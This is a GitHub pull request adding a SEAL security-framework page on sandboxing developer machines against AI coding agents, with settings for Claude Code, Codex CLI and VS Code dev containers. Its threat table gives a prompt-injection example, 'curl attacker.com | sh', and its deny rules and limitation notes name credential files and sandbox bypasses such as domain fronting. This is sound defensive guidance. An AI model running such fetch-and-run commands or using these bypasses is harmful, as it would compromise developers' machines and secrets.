-
Notifications
You must be signed in to change notification settings - Fork 65
Devsecops/developer machine sandboxing #481
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
ElliotFriedman
wants to merge
18
commits into
security-alliance:develop
Choose a base branch
from
ElliotFriedman:devsecops/developer-machine-sandboxing
base: develop
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
18 commits
Select commit
Hold shift + click to select a range
6e02acf
Add Attack Surface Overview page with interactive radial threat map
ElliotFriedman 2856882
Mark Attack Surface Overview as dev content
ElliotFriedman 6a4af7c
Replace selection ring with scale + glow effect on selected nodes
ElliotFriedman 550e049
Add GitHub Actions reminder for attack surface threat data changes
ElliotFriedman ce0b2a5
Address Sara first PR feedback item
ElliotFriedman b95c5ed
Address Sara second PR feedback item
ElliotFriedman 2a1bb2f
Smooth-scroll detail card into view when a threat node is clicked
ElliotFriedman 71b8f37
Move attack-surface.mdx into intro/ folder and update links
ElliotFriedman 9fafb9a
Use react-router Link for framework CTA to avoid full page reload
ElliotFriedman 7430fd0
Add standard page components to Attack Surface Overview
ElliotFriedman 2c3a286
merge develop
ElliotFriedman 2f76505
developer machine sandboxing
ElliotFriedman 36f9529
add dev machine sandboxing to vocs config
ElliotFriedman b0611f0
add dev machine sandboxing to section index
ElliotFriedman 4c49215
add dev machine sandobxing to fetched tags
ElliotFriedman 723125a
update built files
ElliotFriedman a0514f4
address pr feedback
ElliotFriedman a17a6da
Add link to Developer Machine Sandboxing
mattaereal File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
163 changes: 163 additions & 0 deletions
163
docs/pages/devsecops/isolation/developer-machine-sandboxing.mdx
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,163 @@ | ||
| --- | ||
| title: "Developer Machine Sandboxing | SEAL" | ||
| description: "Practical sandboxing configurations for Claude Code, Codex CLI, and VS Code dev containers to constrain blast radius on developer machines." | ||
| tags: | ||
| - Engineer/Developer | ||
| - Security Specialist | ||
| - DevOps | ||
| contributors: | ||
| - role: wrote | ||
| users: [ElliotFriedman] | ||
| --- | ||
|
|
||
| import { TagList, AttributionList, TagProvider, TagFilter, ContributeFooter } from '../../../../components' | ||
|
|
||
| <TagProvider> | ||
| <TagFilter /> | ||
|
|
||
| # Developer Machine Sandboxing | ||
|
|
||
| <TagList tags={frontmatter.tags} /> | ||
| <AttributionList contributors={frontmatter.contributors} /> | ||
|
|
||
| > 🔑 **Key Takeaway**: Sandboxing on your developer machine limits the blast radius when a tool goes wrong, whether that's prompt injection, a malicious dependency, or an LLM mistake. Imperfect containment is much better than no containment, and spending 5 minutes configuring containers can prevent company-ending mistakes. | ||
|
|
||
| AI coding agents run shell commands directly on your machine. A prompt injection or a malicious package could read `~/.ssh`, modify `.bashrc`, or silently steal secrets. Unlike CI runners, developer machines aren't ephemeral: they carry years of credentials, tokens, and config. The goal of sandboxing is making sure the blast radius of mistakes stays contained. | ||
|
|
||
| ## Threats | ||
|
|
||
| | Type | Example | Mitigated by | | ||
| | --- | --- | --- | | ||
| | Prompt injection | Malicious file content tricks agent into running `curl attacker.com \| sh` | Sandboxing, shell command restrictions | | ||
| | Malicious dependency | npm package exfiltrates env vars on install | Deny-by-default egress, blocked home directory reads | | ||
| | LLM mistake | Agent overwrites `~/.zshrc` or deletes project files | Filesystem write restrictions scoped to working directory | | ||
|
|
||
| ## Claude Code: native sandbox mode | ||
|
|
||
| Claude Code has a native sandboxed bash tool backed by OS-level primitives: Seatbelt on macOS, bubblewrap on Linux and WSL2. The sandbox applies to every subprocess Claude invokes (npm, kubectl, terraform, git), not just Claude's own file tools. | ||
|
|
||
| **Step 1: install prerequisites (Linux/WSL2 only, macOS has Seatbelt built in)**: | ||
|
|
||
| ```bash | ||
| sudo apt-get install bubblewrap socat # Ubuntu/Debian | ||
| sudo dnf install bubblewrap socat # Fedora | ||
| ``` | ||
|
|
||
| **Step 2: enable sandboxing**: | ||
|
|
||
| Run `/sandbox` inside Claude Code. You'll get a menu with two modes: | ||
|
|
||
| - **Auto-allow**: sandboxed commands run without per-command prompts. Anything that can't run inside the sandbox (e.g. a command reaching a non-allowed host) falls back to the normal approval flow. This mode reduces approval fatigue. | ||
| - **Regular permissions**: every bash command still goes through the standard approval flow, but OS-level filesystem and network restrictions are still enforced. This adds more friction, but results in better system security properties. | ||
|
|
||
| Start with auto-allow. You can tighten it per-project via settings. | ||
|
|
||
| **Step 3: harden the project config** (`.claude/settings.json`): | ||
|
|
||
| ```json | ||
| { | ||
| "sandbox": { | ||
| "enabled": true, | ||
| "failIfUnavailable": true, | ||
| "allowUnsandboxedCommands": false, | ||
| "filesystem": { | ||
| "denyRead": ["~/.ssh", "~/.aws"], | ||
| "allowRead": ["."], | ||
| "allowWrite": ["/tmp/build"] | ||
| }, | ||
| "network": { | ||
| "allowedDomains": [ | ||
| "registry.npmjs.org", | ||
| "api.github.com", | ||
| "crates.io" | ||
| ] | ||
| } | ||
| }, | ||
| "permissions": { | ||
| "deny": ["Read(.env)", "Bash(cat .env)"] | ||
| } | ||
| } | ||
| ``` | ||
|
|
||
| - `failIfUnavailable: true`: hard-fails if the sandbox can't start, rather than silently running without isolation | ||
| - `allowUnsandboxedCommands: false`: closes the built-in escape hatch that lets Claude retry a failing command outside the sandbox | ||
| - `denyRead: ["~/.ssh", "~/.aws"]`: blocks reads from sensitive paths outside the project root, such as SSH keys and AWS credentials | ||
| - `allowRead: ["."]`: restores read access to the current project root (inside the denied region) | ||
| - `allowWrite: ["/tmp/build"]`: if a build tool needs to write outside the working directory, grant it here specifically | ||
| - `allowedDomains`: explicit egress allowlist; omit anything you don't actively need | ||
| - `permissions.deny`: protects against two different attack vectors. `Read(.env)` blocks Claude's built-in file tools (which use the permission system directly, bypassing the sandbox). `Bash(cat .env)` blocks bash subprocesses from accessing `.env` (these go through the sandbox layer). Note that `allowRead` takes precedence over `denyRead` within the sandbox, so `denyRead` only effectively blocks paths outside the project root, while `permissions.deny` is needed for in-tree secrets. Both rules are fragile: renaming the file or using alternate commands can bypass them, as noted in the limitations section below | ||
|
|
||
| ### Known limitations | ||
|
|
||
| - The proxy enforces the allowlist by hostname; it does not terminate or inspect TLS. Domain fronting can bypass the allowlist. If that's in your threat model, run a custom TLS-terminating proxy instead. | ||
| - `allowUnixSockets` can expose the Docker socket and grant effective host root. Don't use it unless you know what you're doing. | ||
| - Adding broad domains like `github.com` to the allowlist opens exfiltration paths. | ||
| - There is no command allowlist at the project level. Shell tools like `curl` can still run inside the sandbox as long as they target an allowed domain. `allowedDomains` constrains where commands can reach, not which commands can run. | ||
|
|
||
| ## Codex CLI: native sandbox mode | ||
|
|
||
| Codex CLI has native sandboxing built in, using the same OS primitives. In the CLI, use `/permissions` to switch modes during a session. The safest practical default for daily development is `workspace-write` combined with `approval_policy = "on-request"`: Codex can read and write within your project directory, but pauses for approval before going beyond that boundary. Avoid `danger-full-access` since it removes filesystem and network boundaries entirely and should not be used for normal work. | ||
|
|
||
| To make this the persistent default, add the following to `~/.codex/config.toml`: | ||
|
|
||
| ```toml | ||
| [sandbox] | ||
| sandbox_mode = "workspace-write" | ||
| approval_policy = "on-request" | ||
|
|
||
| [sandbox.sandbox_workspace_write] | ||
| writable_roots = ["./"] | ||
|
|
||
| [permissions.default.network] | ||
| # deny all by default; add specific domains as needed | ||
| domains = {} | ||
| ``` | ||
|
|
||
| ## VS Code dev containers | ||
|
|
||
| Dev containers run VS Code and every extension installed into it (including AI coding agents) inside a Docker container. The container only sees what you explicitly mount. SSH keys, AWS credentials, and anything else under `~` stays on the host. | ||
|
|
||
| **Baseline `.devcontainer/devcontainer.json`**: | ||
|
|
||
| ```json | ||
| { | ||
| "image": "mcr.microsoft.com/devcontainers/base:ubuntu", | ||
| "workspaceMount": "source=${localWorkspaceFolder},target=/workspace,type=bind", | ||
| "workspaceFolder": "/workspace", | ||
| "runArgs": [ | ||
| "--cap-drop=ALL", | ||
| "--security-opt=no-new-privileges" | ||
| ], | ||
| "remoteUser": "vscode" | ||
| } | ||
| ``` | ||
|
|
||
| - `--network=none`: only add this flag for a box to quarantine it from the internet. Cuts all egress and outbound traffic | ||
| - `--cap-drop=ALL`: drops Linux capabilities (no raw sockets, no privilege escalation paths) | ||
| - `--security-opt=no-new-privileges`: prevents setuid/setgid escalation inside the container | ||
| - Single `workspaceMount`: the host filesystem outside the project directory is not visible | ||
| - Container memory can also be restricted to prevent software running inside a container from crashing the computer. | ||
|
|
||
| ### Limitations | ||
|
|
||
| Dev containers aren't designed as security sandboxes; convenience shortcuts dominate the defaults. Three things to fix: | ||
|
|
||
| - Default base images ship with passwordless `sudo`. Disable it, or set `remoteUser` to a user without sudo access. | ||
| - Never mount the Docker socket (`/var/run/docker.sock`). It gives the container root-equivalent access to the host. | ||
| - `--network=none` breaks package installs. A custom Docker network with an egress proxy is more practical for daily development. | ||
|
|
||
| Trail of Bits has published a hardened devcontainer at [trailofbits/claude-code-devcontainer](https://github.com/trailofbits/claude-code-devcontainer), built for running Claude Code and VSCode Containers against untrusted codebases in security audits. It's a useful starting point if you want a well-considered baseline rather than building from scratch. | ||
|
|
||
| ## References | ||
|
|
||
| - [Claude Code sandboxing](https://code.claude.com/docs/en/sandboxing) | ||
| - [Codex CLI sandboxing](https://developers.openai.com/codex/concepts/sandboxing) | ||
| - [Trail of Bits claude-code-devcontainer](https://github.com/trailofbits/claude-code-devcontainer) | ||
| - [VS Code: Developing inside a Container](https://code.visualstudio.com/docs/devcontainers/containers) | ||
| - [NIST SP 800-190, *Application Container Security Guide*](https://csrc.nist.gov/pubs/sp/800/190/final) | ||
| - [Docker, *Docker Engine Security*](https://docs.docker.com/engine/security/) | ||
|
|
||
| --- | ||
|
|
||
| </TagProvider> | ||
| <ContributeFooter /> | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The "Remote" extension that makes devcontainers possible in VSCode is closer to a RAT than anything else :/.
By default, it mounts several other things, such as exposing gpg-agent's and ssh-agent's host sockets within the container. It does not necessarily expose ~ files directly, but some of their contents through other mechanisms yes. Not all extensions run automatically, or by default inside the container too
Here's an article I wrote about all this, in case you want to use it as a reference to update this bit (or any other bit):
https://blog.theredguild.org/leveraging-vscode-internals-to-escape-containers/
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@frameworks-volunteer, how would you update, if you would, @ElliotFriedman's content based on the comment above? Take a look at the article, and decide whether it makes sense to add a clarification or create a new entire category about VScode